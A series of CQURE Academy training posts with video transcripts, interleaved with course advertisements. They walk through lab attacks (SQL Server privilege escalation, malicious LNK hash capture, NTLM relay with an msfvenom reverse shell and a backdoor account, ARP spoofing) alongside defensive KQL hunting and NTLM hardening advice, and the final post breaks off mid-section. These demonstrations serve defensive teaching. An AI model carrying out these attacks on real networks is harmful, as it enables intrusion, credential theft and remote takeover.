This five-day workshop offers an in-depth, hands-on experience with SQL Server 2022 and 2025. We will explore every layer of security – from core principles to implementing advanced protection like encryption, role-based access control, and auditing. We will examine system and network security implications, cover the latest features, and discuss how to integrate SQL Server with Azure solutions like Azure Defender and Sentinel.

The masterclass will be led by Margarita Naumova, a SQL Server Architect, consultant, speaker, and trainer with over 25 years of experience in data platform technologies. She is a Microsoft Certified Master (MCM), Microsoft Certified Trainer (MCT), and has been a Microsoft MVP for 15 consecutive years.

As the Founder of SQL Master Academy and CEO of Inspirit Data Platform Consulting, Magi operates in Bulgaria and Norway. She specializes in SQL Server and Microsoft Fabric Data Platform, helping professionals and organizations design modern, high-performing data solutions.

Sign up for the Masterclass here – we’re starting on March 16th!

TRANSCRIPT

[00:07] We are going to walk through a classic Microsoft SQL Server privilege escalation. We start with a low-privilege application account and end up with sysadmin rights by abusing a trustworthy database. 

[00:20]  First, we check whether a SQL Server is actually listening on the default port. We run “nmap -p1433”, which is the port, against the target IP. So the output shows that port1433 is open and it identifies the Microsoft SQL Server service. Let’s change the directory to where our word list resides. So we’re going to go to the desktop. Next, we look for valid credentials. 

[00:47] We use “netexec” to spray common usernames and passwords against the Microsoft SQL service. So well, as you can see, it quickly finds a hit. The account developer with the password “qwert6”. With working credentials, we now check which databases have “trustworthy” set to “on”. This setting is the most important condition for the attack we are about to perform. We run a simple query through netexec: “SELECT name, is_trustworthy_on FROM sys.databases”. And there we go and see that the databases named “msdb” and “cqlab” have “trustworthy” enabled. Let’s check whether our user has “db_owner” permissions on any of the databases that has “trustworthy” enabled. 

[01:44] We run the query, and as you can see, “msdb” returns “0” for “trustworthy”, meaning that it’s not enabled. Let’s run the query again, and “cqlab” returns “1”. Therefore, it means that “trustworthy” is enabled. 

[02:03] Now we move to an interactive session. We launch “impacket-mssqlclient” with the developer credentials. Once connected, we switch to the “cqlab” database and check our current privileges. System user is “developer” and “sysadmin” membership is “0”. That means we are a low-privileged user. This is where escalation happens. We create a stored procedure that runs with “execute” as owner because the database is “trustworthy” and owned by SA, and because we have db_owner, the procedure executes in the context of SA. Inside the procedure, we add our login developer to the sysadmin server role. 

[03:09] Let’s run another query, and we execute the procedure. We check again. System user is still “developer”, but sysadmin membership is now “1”. All right. In just a few seconds, we went from an ordinary application developer to a full sysadmin on the server. This path works because of three misconfigurations present at the same time: 1) “trustworthy” is turned on for the database, 2) the database owner is SA or another sysadmin account, 3) and our login has db_owner inside that database.

Want to know more?

The post CQURE Hacks #74: Microsoft SQL Server Privilege Escalation appeared first on CQURE Academy.

The scenario is straightforward: a regular domain user has WRITE permissions on a shared folder. That’s enough to plant a malicious .lnk file pointing to an attacker-controlled SMB server. The moment another user browses that share in File Explorer, the system attempts authentication automatically – and the NETNTLMv2 response is captured.

From there, the path splits.

If the password is weak, the hash can be cracked offline. If SMB signing is not enforced, NTLM Relay becomes possible.

In our lab, we relay authentication to another server, authenticate as the victim user without knowing the password, dump LSA and SAM, and execute commands remotely. The chain ends with a shell running as NT AUTHORITY – all triggered by simply opening a file share.

This technique still works in many environments because of small decisions that seem harmless in isolation: broad WRITE permissions on shares, NTLM still enabled, inconsistent SMB signing enforcement, and the assumption that “low-privileged” users are low risk.

Security failures rarely come from one dramatic vulnerability. They happen when small misconfigurations line up at the wrong moment.

If a standard user can write to a share and NTLM is still allowed, your environment may already be exposed to this attack path.

In this CQURE Hacks episode, we walk through the entire chain step by step: from share discovery, through hash capture and cracking, to NTLM relay and remote execution to show how quickly control can be gained.

Understanding these mechanics is essential, because defending infrastructure requires knowing exactly how it can be taken over.

Ready to Level Up Your Defensive Game?

Modern identity attacks go far beyond “simple” password guessing. To truly protect your infrastructure, you need to understand the techniques that actually break environments today – and how to close those paths for good.

Join us on March 5th for Module 3 of the Security Master Annual Program: Hardening Active Directory Infrastructure.

In this intensive 1-day course, we will cover:

1. Modern Identity Attack Techniques: Moving beyond the basics to see how elite attackers move.

2. Preventing Credential Theft and Misuse: Practical strategies to lock down your identities.

3. Recommended AD Configuration Options: The “Gold Standard” for Active Directory security.

4. OS-Level Credential Protection Features: Deep-dives into LSA Protected Process, Credential Guard, and RDP Restricted Admin Mode.

5. Detecting Backdoors in Active Directory: Finding the hidden threats before they are triggered.

Secure Your Spot for March 5th here!

TRANSCRIPT

Hi, everyone. In today’s CQURE Hacks, we will show you attacks using a shortcut file to capture Net-NTLMv2 hash, and crack it to initiate NTLM Relay Attack. Let’s move on to our lab environment. Starting from the beginning, let’s first use “crackmapexec” with the option “shares” to find a share with the right permissions. For this, we use the credentials of “bob”, who is a regular domain user. As we can see on the SRV01 host, there is a share named “documents” on which “bob” has the right permissions. Let’s now switch to Windows on which we are logged in as “bob”. Let’s go to this Network Share, discovered previously. 

[01:04] As we can see, there are some documents here. Let’s try to create a file here to make sure we actually have these permissions. The file has been created, but deleted now. Now, let’s move on to PowerShell ISE. Using PowerShell, we can create a shortcut file with extension .lnk that will refer to our SMV server that will be running on our Kali Linux using responder or impacket NTLM-relay. This is the IP address of our Kali over here, so it’s very important to remember. This file will be created in the secure folder under the name “malicious.lnk, and let’s run this script. 

[01:58] Now, let’s go to the C: > CQURE folder and check if the file has been created. As you can see, the “malicious” file has been created. Let’s now copy and paste it into the “documents” share. Now, we go back to Kali Linux and enable the responder to listen for incoming connections with a command like this: “responder -I eth0”. Now, let’s go back to Windows, on user “bob”, and open share “documents” again. At this point, nothing will happen because in the file explorer, this “malicious” file we uploaded here is not visible. As you can see in the respond there, nothing is happening. Only when we go to the bottom, like now, and see it in the file explorer, It calls back to the IP address that we specified when creating this file. The user “bob”, on whom we are logged in, invoked our server, and we intercepted his hash net-NTLMv2. 

[03:16] Let’s try to rename this file so that the user who enters this share doesn’t have to go to the very bottom, but the file is displayed at the very top. Let’s add the “@” sign at the beginning of the file name. After reentering, we see that the file is already at the very top. 

[03:41] Let’s try to do the same thing, but from a different host and the Administrator user. Open the File Explorer again and go to Documents Share on the SRV01 Host. Only open and do not do anything else. Now, let’s check on Kali Linux if the hash was captured. And the hash has been intercepted. As you can see, we can do a lot of things with that. So question is, what actually we can do with it? Well, we can, for example, crack it if the password is, in practice, not difficult. So let’s copy this hash, disable the responder, and save it in the file “hash.txt”. Let’s use John the Ripper to crack it. 

[04:40] The hash has been cracked easily, and here we see the administrator’s password. Well, okay. Let’s now move on to the NTLM Relay Attack again, using the same .lnk file we created earlier. Let’s generate a list of the servers using “crackmapexec”, and save it to a file “targets.txt”. Let’s use the “cat” command to see if it was generated correctly. Now, let’s turn on the script “impacket-ntlmrelayx” with that list we created earlier, and the options “smb2support” and “socks”. 

[05:28] Let’s simulate the Administrator opening this share again. Let’s go back to the Kali machine. We see that the Administrator has connected to our server. Let’s use the “socks” command to see which host it managed to relay to. We see that it’s the host with this IP address (10.10.10.30). 

[06:04] What can we do next? First, we need to see and set the proxy chains to port 1080, as you can see here. We open a new console, but do not close this one, and edit the /etc/proxychains4.conf file, so the config file, and go to the very bottom and add this line, and save the file. Here, it has already been added earlier. Now, using proxy chains, we can, for example, use “crackmapexec” as administrator on the host 10.10.10.30, to which we managed to relay. The password can be anything because we are already authenticated with net-NTLMv2 using a Relay Attack. 

[07:01] As you can see, we have successfully authenticated for an experiment. Let’s change the password, and you can see that the effect is exactly the same. What can now, for example, happen is by using “crackmapexec”, we can dump the LSA, we can do the same with “sam” database – for example, we can also use “impacket-smbexec” to execute a reverse shell and connect to this host as anti-authority. 

[07:38] We’ve been connected. So, let’s use the commands “whoami”, hostname, and so on. We can also do “whoami /all” so you can see the effective result of our action. As you can see, this .lnk file allows us to initiate attacks with NTLM Relay, and you only need the right permission on any of the shares to set up the trap for other users. Then it’s enough that any user accesses the share, and we have their net-NTLMv2 response ready for cracking. If SMB signing is disabled somewhere, we can even use NTLM Relay Attacks.

Want to know more?

The post CQURE Hacks #73: Using a Malicious LNK File to Take Over Infrastructure (LNK Relay) appeared first on CQURE Academy.

In active-duty security, time is your most valuable asset. Most hunters struggle because they try to write a brand-new query for every single alert. This creates a messy library of code that is hard to manage.

Kajetan, one of our frontline experts, shows you how to use one “Base Query” as a launchpad for three critical scenarios:

1. Web Reconnaissance: We filter our base query for HTTP traffic. By adding a simple scoring system, we can instantly flag attackers probing your web apps for vulnerabilities.

2. UDP Broadcast Analysis: By switching the protocol in our base logic, we spot unusual broadcast spikes. This catches attackers trying to spoof identities or move through your network.

3. Abnormal TCP Patterns: We adjust the same base query to look at session length and data volume. This reveals the tiny signals left behind by data theft or malware “calling home.”

Smart hunting isn’t about how many queries you have; it’s about how adaptable they are. By building once and adapting many times, you gain:

• Speed: Pivot between different threats in seconds.
• Consistency: Use the same data structure for every hunt.
• Clear Results: Move from raw data to a clear story of what happened.

Level up your KQL skills and become the proactive defender your organization needs. Consider this your “hacking license” for data.

Want to know more?

Join us for the 5-day course: System Forensics, Incident Handling and Threat Hunting

TRANSCRIPT

Hey, everyone.

Welcome back to our KQL Threat hunting series.

Today, I’m going to show you something really powerful, how to take one base KQL query and transform it into three completely different threat hunts.

This is about working smarter, not harder, and getting maximum value from your security data.

We will be analyzing real network traffic to detect web reconnaissance, unusual broadcast, and abnormal TCP patterns. Let’s dive in.

This is our foundation, a simple but powerful query that gives us an overview of all network traffic.

Let’s have a look what it does.

We are looking at a specific hour and a half window aggregating by source IP, destination IP port and protocol.

Keymetrics, total bytes, send received, packet counts, connections, and duration.

This gives us a baseline, so understanding of what normal looks like in our environment.

But the real power comes when we specialize this query for the specific threat hunting scenarios.

Now, watch how we transfer our base query into first-hand, so detecting web reconnaissance.

Attackers often scan web application before attacking them.

Here’s what we have changed.

First, filter to HTTP traffic, so only TCP on port 80 or service HTTP HTTP.

Added recon-specific metrics, so counting unique targets and ports.

Time-based scoping, looking at activity in 30-minute windows. Added thresholds, more than five HTTP request from a single source.

And the last, scoring system, so calculates recon likelihood.

What this really detects? For example, automated scanner, scrolling, web applications, attackers probing for vulnerable web apps, TVWA, PHP admin, and so on, and reconnaissance before credential traffic or simply brute force attacks. Legitimate users typically access a few resources, but recon tools hit many paths and hit many paths quickly.

This query catches this pattern. Next hound takes a completely different angle. Udp Brokos analysis. Normal networks have predictable Brokos patterns. Here’s our transformation.

Switch to the UDP protocol. Different thread surface. Added categorization. So Netbios, MD-Ns, DHCP, LLMNR. Different metrics, broadcast count, package size, and duration. Also longer time window.

One hour periods for broadcast analysis and lower thresholds. Just two broadcasts which can be suspicious. What it detects?

Network discovery scans using Netbios. M DNS and LLMNR spoofing attacks, DHCP-exhaustioned attacks, warm propagation using broadcast, unusual service discovery patterns.

Brokast traffic should follow predictable patterns. Sudden spikes or unusual sources indicates scanning or attack activity. Finally, hand number three.

This one looks like TCP session behaviors. This is about connection quality and patterns.

Here we have risk scoring system, so weights, different suspicious behavior, behavior analysis, so connection, duration, data volume and states, and service anomalies, HTTP with tiny responses, unknown service with data.

Also, the pattern detection, so port scanning, rapid connections, short-lived sessions. What this detects? Port scanning, so many short-fade connections.

Data exfiltration, so large transfer in short time. Also C2 beconning, so regular short connections, service enumeration, and fast flux networks. Legitimate connections have predictable duration and data patterns.

Malicious activity often shows us statistical outliers. To summarize, start with the base. Understand your data structure. Filter for the thread. So this for the web, UDP for the broadcast. Add thread-specific logic, recon scoring, broadcast categorizing, or risk scoring.

Add use time window. Set appropriate thresholds, so based on what’s suspicious for each protocol. And add a contextual output, so clear with investigation nodes. This approach gives you consistency, so same base structure. Efficiency, build once, adapt many times. And maintable, easy to update thresholds.

Also, the scability. And that’s how you create three powerful trade hands from one base KQL query. Remember, effective threat hunting isn’t about writing thousands of queries. It’s about writing smart, adaptable queries and give you multiple perspectives on your data.

Try this approach with your own security data. Start with a simple base query, then specialize it for different threat scenarios. You will be amazed at what you can discover. If you found this useful and helpful, please like and subscribe for more KQL and threat hunting content. Thanks for watching.

And happy hunting.

Want to know more?

The post CQURE Hacks #72: KQL Threat Hunting – One Query, Three Hunts appeared first on CQURE Academy.

In active-duty threat hunting, time is the only currency that matters. Most IT professionals struggle with queries bogged down by excessive calculations or filtering applied far too late in the pipeline, creating a bottleneck that can obscure critical indicators of compromise.

Kajetan, one of our frontline practitioners, walks through five practical techniques that immediately improve the hunting experience in real environments:

1. Filter First, Calculate Later: This is the golden rule. Reducing your dataset early can make your queries 5–20x faster.

2. Meaningful Context: Move beyond raw logs to create results that tell a story, making them actually usable for your technical reports.

3. Battle-Tested Logic: We use real network log data to compare inefficient “textbook” queries with the optimized versions our experts use on client cases.

Good KQL isn’t just about syntax; it’s about a proactive mindset. It’s the difference between being buried in logs and having a surgical view of your infrastructure. These small changes in your query logic will level up your skills and make you irreplaceable in the hunt.

Want to know more?

Join us for the 1-day course: CMAP 2026 | Module 2: Threat Hunting with AI Support – CQURE Academy

The post CQURE Hacks #71: 5 KQL tricks to speed up threat hunting appeared first on CQURE Academy.

In this episode, we start by verifying vulnerable configurations on SRV01 (10.10.10.20) and Windows 11 (10.10.10.40). Server and client SMB signing enforcement is false. Nmap confirms “enabled but not required,” and NetExec scans the network to list relay targets (/tmp/relay.txt).

Responder (NetBIOS/LLMNR poisoner, SMB/HTTP disabled) listens on eth0. Impacket-ntlmrelayx (-i interactive, –target-file relay.txt) relays intercepted authentication.

The attack is triggered from Windows 11 via a File Explorer typo (\\Serer). Responder captures the request, and the relay succeeds to multiple hosts. Connecting with netcat to localhost:11000 yields an SMB shell on SRV01. Using C$, we create a directory (mkdir ATTACK) and upload /tmp/info.txt, confirmed on the target.

Escalation: A targeted relay (-t 10.10.10.20) executes net user Attacker Password123 /add, verified via net user.

Final payload: A msfvenom reverse shell (r.exe) is relayed using –exe /tmp/r.exe -smb2support. Triggering the relay yields a netcat shell on SRV01, confirming access with whoami and ipconfig.

Key takeaway: “Enabled but not required” means the system is vulnerable to NTLM relay. Enforce SMB signing everywhere to block this passwordless attack path.

---

Video transcript:

0:00 Okay. Let’s perform a Relay attack when signing isn’t enforced. This way, we can redirect our credentials to another host and gain access. Alright, let’s begin. We have a host here, let’s check the hostname.

0:22 SRV01. Let me run ipconfig.

0:26 It has an IP Address 10.10.10.20. Now let’s check its settings. The first settings we want to see are the server settings – if this host acts as a server, when others connect to it and when it shares resources. In the server configuration it’s “false”, meaning it doesn’t enforce signing – it’s not enabled.

0:52 Now, let’s see how it looks when it acts as a client, so when it connects to someone else.

0:57 So as “SmbClientConfiguration” it has the same settings, and we see that as a client it can use signing, but there’s no enforcement. Alright, let’s check another host now – hostname Windows11, ipconfig shows 10.10.10.40, and again let’s see how it looks. If it acts as a host, sharing resources when someone connects to it, do we need a signature when connecting? No, it’s not required. There’s no support enabled, and likewise.

1:36 Let’s also check what happens if we act as a client from Windows 11, wanting to connect somewhere. And at this point we can connect with SMB Signing, but we don’t have to. Now let’s check how this looks from Kali Linux. First, we’ll scan the address 10.10.10.20, which is this host SRV01.

2:00 And here we see “Message signing enabled but not required”. And likewise if we scan the address 10.10.10.40.

2:08 It’s also “enabled, but not required”. This is strange, because when we looked at the settings, for the server configuration, the “enabled” setting was “false”.

2:20 And the same for Windows 11, the server is marked as “false”. However, with nmap there can be a slight difference, because it checks

2:33 what protocol version it is and if the version supports it. So, it says it’s supported but not required. That’s the difference – nmap may interpret it slightly differently. Okay, now let’s go to Kali Linux.

2:48 And here we can search for servers that don’t support SMB Signing. Of course we can use nmap, but we also have other tools, like NetExec. So we can run the command “sudo apt” and install NetExec with “sudo apt install netexec”. And we see it’s already installed. Now using NetExec we can tell it to scan the entire local network and see if there are any hosts that don’t enforce signing. And what do we see? Server DC01 enforces it.

3:24 But SRV01, Windows 10, and Windows 11 don’t enforce it. Additionally, we saved this to file “/tmp/relay.txt”, so we can check that “/tmp/relay.txt” and see those three hosts: 10.10.10.20, 10.10.10.30, and 10.10.10.40. These are the hosts that don’t enforce signing.

3:50 Now, if we can intercept the NTLM authentication, we can Relay to one of these hosts. These hosts that don’t enforce signing – they don’t check the signature. And now, to perform a Relay, we need to get access to the data. We can use various techniques. One of them is (if NetBIOS is being used) sending a message that we are the host. Especially when someone makes a typo in the name. So what do we need? We need Responder – Responder will respond “hey, that’s me, I’m the host”. First thing is Responder, we need to configure it properly.

So we configure: “/etc/responder/Responder.conf”. And here we see NetBIOS and LLMNR are enabled, etc. 

Now if someone uses a NetBIOS name – for example /server/something and happens to make a typo, we’ll say: “hey, that’s me”. 

But by default, Responder listens on various protocols, also listens on SMB and others. And now we want to use a Relay tool. 

Responder itself doesn’t do Relay, so we need to make sure we’re not using Responder’s SMB, meaning we need to set it to “Off” and also set HTTP to “Off”. 

We disable it so it doesn’t set up a fake server on those ports. Why? Because we need those ports for another tool, we’ll simply use a different tool specifically for Relay. 

We save these settings and we have Responder, and now we can create two windows. In the top window we have Responder – we can launch it in “verbose” mode on interface eth0. So, we have Responder running and now when someone asks “where is this host?” via NetBIOS, it will send a signal “that’s me”.

5:50 This means other hosts will want to connect to Kali, so we now need to handle this connection and redirect to others. For this purpose, we use “impacket-ntlmrelayx”. 

So, we’ll use another tool, “impacket-ntlmrelayx”, and with this tool we’ll do the redirecting. Impacket will listen on the SMB port and when someone connects to us, thinking they’re connecting to the proper host, we’ll intercept that connection and relay it to the hosts on the list “/tmp/relay.txt”. Interactive mode (-i) means we can connect to this session.

6:30 OK, we start NTLM Relay and now let’s say we go to Windows 11. On Windows 11 we open File Explorer and try to access a computer. For example: “Server 01”

But let’s assume we made a mistake in the name and instead of “Server” we typed “Serer” and it doesn’t exist. That name doesn’t exist. But let’s go back and see what happens. The moment we used the backslash, that was enough for Windows to start searching, and now Windows started scanning our local network.

7:08 We’re asking “is there a computer with this name?”, and we can now see that we intercepted the connection and tried to authenticate to host 10.10.10.20, 10.10.10.30, and 10.10.10.40 and it succeeded. 

And now that we’ve authenticated here on Kali, as the attacker, you can see that I don’t know the password at all – the only thing I did was place Responder and Relay.

7:36 At this point, we intercepted someone else’s credentials and forwarded them to the vulnerable machine that doesn’t check signatures. The machine should check SMB and verify whether the person connecting is legitimate. Because at this point, as Kali, we intercepted this data and were connecting there with the data I intercepted from that Windows client. Okay, and now what do we have?

8:08 On port “11000” on LocalHost there’s an “SMB client shell” set up, so there’s a shell I can use for that SMB service that connects to 10.10.10.20.

8:19 So now I’ll open a new window and using Netcat I’ll connect to “127.0.0.1 11000” and here I have the SMB client shell that established a session with the vulnerable host 10.10.10.20. Now I can give the “info” command to get information about who I’m relayed to.

8:47 At this point this connection on port 11000 goes to server SRV01, and I can see some information – for example information like “shares” (what shares are visible there?). 

I see: ADMIN$”, „C$”, „CertEnroll”, „IPC$”, and so on. “C$” is a partition, so I can use this share.

9:05 And at this point, once I’ve used this share, let’s say I want to use it by typing “use C$”, I can do “ls” to display what’s there.

I see there are many, many different files, so practically I already have access to the file system on this server. Without a password, without anything. Now it would be good to see if I have any permissions there – because I can probably read, but let’s see if I can do even more, like create something malicious. Let’s see by typing “mkdir ATTACK” if I can create a directory.

9:47 We type “ls” again – and it worked! We have the “ATTACK” directory. Okay, since we managed to create the “ATTACK” directory, maybe we’ll write something in it. I’ll split the window and type “echo “Attack successful” and let’s create a file /tmp/info.txt. Alright, we have the file, so now we can upload this file to the server, so we go to the “ATTACK” directory.

10:14 And we run the command: “put /tmp/info.txt”. At this point we can do “ls” and see that the info.txt file appeared in this directory. And now if we go to Server 01.

10:34 And enter the file system, we’ll see that on drive C: the “ATTACK” directory appeared and it has the info.txt file with “Attack successful” written inside.

10:49 We can see that the attack succeeded and we were able to Relay to the server and create something on that server.

Once we’re on the server, we can type the “net user” command to see what users we have. We have 4 users: administrator, default account, guest, and WDAGUtilityAccount.

11:11 Now we can return to our attack on cqure@kali, to our main window. Here we can stop this attack and we’ll modify it a bit, because now instead of loading hosts from a file, we will have a regular target that I’ll provide manually.

I already know that 10.10.10.20 is vulnerable, so I’ll tell it: “attack this host 10.10.10.20”. This time I don’t need the interactive client shell.

11:40 Instead, I’ll give a command, for example, to create a user “Attacker”.

11:45 We see that there’s no “Attacker” user there now, but I’m telling it: “instead of creating an interactive shell, execute the command ‘Net user Attacker Password123 /add'”.

12:01 And at this point, when I run such a command, let’s say I’m on that Windows client again and I make some typo or create a shortcut pointing to a non-existent name, and someone enters that share, and clicks this shortcut.

12:19 And what do we have? We see that some command was executed – there was successful authentication on 10.10.10.20.

What’s more, the command was executed, so the command was completed successfully. 

A command was successfully executed, so let’s go to SRV01 again and check the same command “net user” once more. We see that now we have the added user “Attacker”, so we succeeded.

12:45 At this point, if we have a Relay attack, we can also execute various commands. We can pass commands to execute. We can also try to go further, so let’s stop this attack again. We can open another window, and now let’s create a reverse shell.

13:04 In “ifconfig” let’s check my IP – it shows 10.10.10.106. I’ll create on my IP a file “/tmp/r.exe”, using “msfvenom” with payload “windows/x64/shell_reverse_tcp” and I’ll listen on LHOST 10.10.10.106 on Kali port 4444.

13:32 I’m creating a malicious file called r.exe using msfvenom. And at this point the file is created – saved in “/tmp/r.exe”. So, what do I do on my side now? 

Since this file is a reverse shell that should connect to Kali on port 4444, I need to listen on that port. I start “nc -lnvp 4444” and I get the message “listening on (any) 4444”

14:03 This NetCat will be listening here, but now I need to deliver this malicious payload to the target. At this point, I go to the first window and modify.

14:11 This time we won’t use a command, but I’ll give the parameter “smb2support -e” and point to “/tmp/r.exe”

14:22 Because I want the r.exe file to be uploaded to the machine, I’ll Relay it to and execute it there on that machine. 

I launch this, and if I catch some traffic, someone trying to connect to me, I do the Relay, and together with that Relay, I’ll transfer r.exe there and execute the file.

14:45 So we try again. We go to our Windows 11. We try to access a non-existent server. Here we look – there’s already a relay and we see the information “uploading file”. Let’s go to the other console, and in this console, where NetCat was listening, we already have a connection from that host, and now we can check the hostname.

15:11 We see it’s SRV01, and ipconfig shows 10.10.10.20, so we have access to this shell.15:19 This way, if SMB Signing isn’t enforced, we were able to Relay the connection. As you can see, we don’t need any passwords – we simply look for machines that don’t enforce SMB Signing and then we have several attack possibilities.

The post CQURE Hacks #70: NTLM Relay Attacks in Practice: Exploiting Missing SMB Signing appeared first on CQURE Academy.

The Experiment Setup

Our test environment was configured for maximum network security, with both the server (SRV01) and the client (WIN11-01) explicitly set to support and require SMB signing.

1. The Attacker: We used a Kali Linux machine to act as the attacker and intermediary.
2. The Attack: We launched a bi-directional ARP Spoofing attack (Man-in-the-Middle) to intercept all traffic flowing between the client and the server.
3. The Capture: Wireshark was launched on the attacker’s machine to capture the SMB2 traffic.
4. The Test: From the client system, we accessed a file share (\\SRV01\CertEnroll) and created a new file with the content: “SMB signing test”.

The Critical Finding

Despite having SMB signing enforced on both endpoints, our packet capture yielded a critical, visible finding: the entire contents of the file, “SMB signing test,” were successfully captured and clearly readable in the Wireshark packets.

The conclusion is clear: SMB signing does not protect data from a passive traffic sniffer in a man-in-the-middle scenario.

The Security Takeaway: Signature ≠ Encryption

The reason for this failure is simple: A signature is not the same as encryption.

• SMB Signing is a mechanism that prevents session spoofing and relay attacks by verifying the identity and integrity of the data sender. It ensures that the traffic hasn’t been tampered with in transit.
• SMB Encryption is a distinct mechanism that scrambles the data, rendering it unreadable to anyone without the decryption key.

While SMB signing is vital for protecting the integrity of the communication, it does not automatically encrypt the data being transferred. As a result, an attacker who successfully performs an ARP spoofing attack can still read the unencrypted SMB traffic.For true confidentiality and to protect your data from passive snooping, SMB encryption must also be implemented alongside SMB signing.

Check out the Advanced Windows Security Course for 2026 offer >>

---

Transcript of the video:

Hi and welcome back to another episode of CQURE Hacks.

Today we will observe how packet sniffing behaves when SMB signing is enabled.

We begin in Kali Linux, the attacker’s machine.

The first step is to enable IP forwarding using the echo 1 command,

and that allows Kali to act as an intermediary for network traffic.

Next, we ensure the necessary tools are installed by checking for that dsniff package.

And with dsniff confirmed our environment is ready, we move to our target systems.

On the 1st system, SRV01 (at 10.10.10.20), we check the SMB configuration.

The settings confirm that the system supports and requires SMB signing.

We perform the same check on the client system, WIN11-01 (at 10.10.10.40).

From the client side we see it also supports and requires signing.

The connection we will test will run from the client, so .40 to the server .20.

Now we’ll launch the attack from our Kali machine.

We execute the ARP Spoofing attack.

The goal is to make the Kali host the intermediary.

The traffic flowing from host .40 to host .20 will be intercepted by Kali.

We poison the ERP cache in both directions, telling host .40 we are host .20 and telling host .20 we are host 40.

This establishes a bi-directional Man-in-the-Middle attack.

Next, we launch Wireshark to capture the traffic passing through our machine.

We’ll begin to capture on our active network interface and apply a display filter for SMB2 traffic.

On the Windows client, so .40 we initiate that file access by navigating to the server share and that is \SRV01\CertEnroll.

We then create a new text file and input the content:

SMB signing test.

We return to Kali. As we confirmed signing was enabled on both the server and the client.

Now we search the captured packets in Wireshark for the content we just wrote.

We search that packet bytes for the word signing.

The critical finding is visible.

We successfully capture the entire content of the file.

SMB signing test.

This demonstrates that signing does not protect against man in the middle attacks.

The reason is super simple.

A signature is not the same as encryption.

How good is the signature if a communication is not encrypted while the attacker can still read the unencrypted SMB traffic after performing an ARP spoofing attack?

While SMB signing prevents session spoofing and relay attacks, it does not automatically encrypt data being transferred.

Signing and encryption are two distinct mechanisms.

For true confidentiality, SMB encryption must also be implemented.

SMB signing does not provide encryption and fails to protect data from a passive traffic sniffer in a man in the middle scenario.

Thank you so much for watching our Secure Hacks episodes.

And as always, in order to continue this serial, please don’t forget to support us by hitting the subscribe button.

And as always, stay secure.

The post CQURE Hacks #69: SMB Signing – Why It Won’t Save Your Data from a Passive Traffic Sniffer appeared first on CQURE Academy.

We begin on the Domain Controller, where the Group Policy setting “Network security: Restrict NTLM: NTLM authentication in this domain” is initially set to Disabled. This allows NTLM-based authentication to proceed – opening the door for potential relay attacks.

On the attacker machine (running Kali Linux), the Responder and Impacket’s ntlmrelayx tools are launched. Once a network authentication attempt is triggered, the attacker successfully relays the NTLM authentication to another host, gaining access as CQURE\Administrator. From there, the attacker can enumerate hosts, check privileges, and simulate further connections — all using the relayed credentials.

Next, we tighten security by switching the Group Policy to “Deny All”, effectively disabling NTLM across the domain. When the same attack sequence is repeated, the relay attempt fails — the target returns “status not supported.” Authentication now requires Kerberos, which is not vulnerable to NTLM relay in the same way.

This demonstration clearly shows the real-world impact of disabling NTLM: the attack surface for NTLM relay disappears.

However, phasing out NTLM completely requires careful planning, monitoring, and identification of systems or applications that still depend on it.

For a deeper dive, check out the CQURE NTLM Phase-out Guide for Active Directory Environments – and start preparing your organization for a more secure, NTLM-free future.

And if you’re hungry for more cybersecurity knowledge, we’ve opened the registration for our 6-weeks Advanced Windows Security Course 2026, ensuring you’re prepared for the threat landscape of the next year!

Check out the Advanced Windows Security Course for 2026 offer >>

---

Transcript of the video:

Hi and welcome back to another episode of CQURE Hacks.

In this video, I’m going to demonstrate how NTLM relay attacks work and what happens when NTLM is disabled.

We start on the domain controller, checking the Group Policy.
We look at the setting:
Network Security → Restrict NTLM: NTLM authentication in this domain.

As you can see, it is currently set to Disabled.

Now on our attacker machine (Kali Linux), we will launch the tools.
First, we start Responder.
Next, in a second window, we set up the NTLM relay with the Impacket ntlmrelayx tool.

The tool initializes its servers and is ready for the attack.

Now we’re going to run \\test\123 just to trigger it.
There we go — back on Kali.

We immediately see the relay succeed.
The tool reports a connection and authenticates to the target as CQURE\Administrator.
That credential can be used for further actions.

Now that we have it, let’s try the connection.
As you can see, we have 11001, and we can pull full details about the hosts listed.
That lets us see what privileges we currently have while leveraging this attack.

In this context, we can also simulate connections to those hosts.

Now, whenever we get in here — as you can see, many poisoned responses — those are expected in verbose mode.

Next, we return to the domain controller and enforce a much stricter policy.
We change Restrict NTLM — NTLM authentication in this domain — from Disabled to Deny All.
Then NTLM version 2 will no longer be in place.

Let’s quickly apply the policy, then test whether these attacks still work so you can see the real-world effect.

On Kali, we restart our attack.
First, Responder is relaunched,
and then the ntlmrelayx tool is started again — ready to catch and relay authentication attempts under the new policy.

We are waiting for these authentications to happen so that we can grab that response.
Yep, we can do the same part — \\test\12345, whatever.

We capture the authentication attempt,
but the initial authentication to the target fails.

So, at this point, we no longer have the ability to authenticate using NTLM.

If we try to test with SMB netexec using the captured credential (for example, supplying the captured password),
the attempt fails — the target returns “status not supported.”

But if we check it with Kerberos, as you can see, we’ve got the possibility to get in.

So, at the end, it really depends on how we are doing this spray — how that activity is processed.

And in the end, you’ve got the possibility to compare what it means to have NTLM disabled or not.

Ultimately, this deprecation is about gathering information on which sources, applications, and services still rely solely on NTLM version 2.
That’s the key issue.

Basically, we can add exceptions, and those are applied directly within the policy.

And just for reference — this was a quick introduction because many people are concerned about one key question:
How do we actually phase out NTLMv2?

As you can see, the process is fairly simple —
but of course, don’t forget the monitoring component.
That’s crucial once you apply it in the field.

All right, if you’re interested in this topic and want to dive deeper,
our team has prepared a dedicated document:
NTLM Phase Out – Guiding Active Directory Environments.

You’ll find the link in the description, and I definitely encourage you to check it out.

Thank you so much for watching CQURE Hacks.
Hopefully, you enjoyed the content!

Don’t forget to subscribe to our channel and follow what we do on social media.

The post CQURE Hacks #68: NTLM Relay Attacks Explained and Why It’s Time to Phase Out NTLM appeared first on CQURE Academy.

Setting up the Attack 

We start with three machines: 

• DC01 – the domain controller (10.10.10.10) 

• Windows11-Client01 – a workstation (10.10.10.40) 

• Kali Linux – the attacker’s machine (10.10.10.106) 

On Kali, we enable packet forwarding and run the arpspoof tool to trick both the client and the domain controller into believing that Kali is the other host. This successfully poisons the ARP cache, redirecting their communication through our machine. 

Sniffing ICMP Traffic 

With ARP spoofing active, we capture traffic in Wireshark. When the Windows client pings the domain controller, we clearly see ICMP packets routed through Kali – confirming the attack worked. 

Sniffing SMB Traffic 

